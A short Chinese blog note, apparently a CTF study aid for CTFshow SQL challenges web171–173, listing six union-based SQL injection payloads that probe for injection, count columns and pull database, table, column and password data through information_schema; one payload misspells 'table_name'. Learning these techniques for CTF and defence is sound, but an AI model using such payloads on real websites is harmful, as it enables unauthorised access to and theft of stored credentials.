SQL注入 笔记

本文详细介绍了SQL注入的基本步骤,包括判断注入、查询字段数、数据库信息、表名、列名及具体数据。同时列举了CTFshowweb入门系列的SQLweb171至173题目,提醒读者关注SQL注入的安全问题并学习防御措施。
摘要由CSDN通过智能技术生成

常规注入步骤

(1)判断是否存在注入:

and 1=2 --+

(2)判断字段数:

order by 2 --+

(3)查询数据库:

and 1=2 union select 1,database() --+

(4)查询表名:

and 1=2 union select 1,group_concat(taba_name) from information_schema.tables where table_schema='库名' --+

(5)查询列名:

and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' --+

(6)查询具体数据:

and 1=2 union select 1,password from 表名 --+

~~分界线 ~~ ~~分界线 ~~ ~~分界线 ~~ ~~分界线 ~~

注意:

  1. 都是要英半角输入
  2. from后内容要写在最后面
  3. 当存在多个库时,查询表名where条件改成具体的库名

基础题

CTFshow web入门 SQL web171
CTFshow web入门 SQL web172
CTFshow web入门 SQL web173

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值